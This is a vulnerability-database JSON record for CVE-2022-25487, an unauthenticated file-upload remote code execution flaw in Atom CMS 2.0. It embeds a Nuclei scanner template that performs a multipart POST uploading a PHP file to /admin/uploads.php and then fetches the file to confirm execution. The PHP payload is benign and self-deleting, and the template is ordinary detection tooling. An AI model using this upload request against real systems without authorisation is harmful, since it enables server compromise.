{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-25487/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-25487/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-25487/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-25487/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-25487/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-25487"},"sightings":{"href":"/api/v1/sightings/cve-2022-25487"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-25487.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-25487\n\ninfo:\n  name: Atom CMS v2.0 - Remote Code Execution\n  author: theamanrawat\n  severity: critical\n  description: |\n    Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: Fixed in version Atom CMS v2.1\n  reference:\n    - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html\n    - https://github.com/thedigicraft/Atom.CMS/issues/256\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-25487\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-25487\n    cwe-id: CWE-434\n    epss-score: 0.53839\n    epss-percentile: 0.98964\n    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: thedigitalcraft\n    product: atomcms\n  tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload,vkev,vuln\nvariables:\n  string: \"CVE-2022-25487\"\n\nhttp:\n  - raw:\n      - |\n        POST /admin/uploads.php?id=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041\n\n        -----------------------------30623082103363803402542706041\n        Content-Disposition: form-data; name=\"file\"\n\n\n        -----------------------------30623082103363803402542706041\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\n        Content-Type: image/jpeg\n\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n        -----------------------------30623082103363803402542706041--\n      - |\n        GET /uploads/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(string)}}'\n\n    extractors:\n      - type: regex\n        name: filename\n        group: 1\n        regex:\n          - SET avatar = '(.*?)'\n        internal: true\n# digest: 490a00463044022029db904c56a6532f849e36cd89c04562963677b046a2e86238204c9f77a29f92022062c3faa9490c4243c9bba9633f30f1f79304776a70cdbbbdd36edcc5837390d5:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-25487"}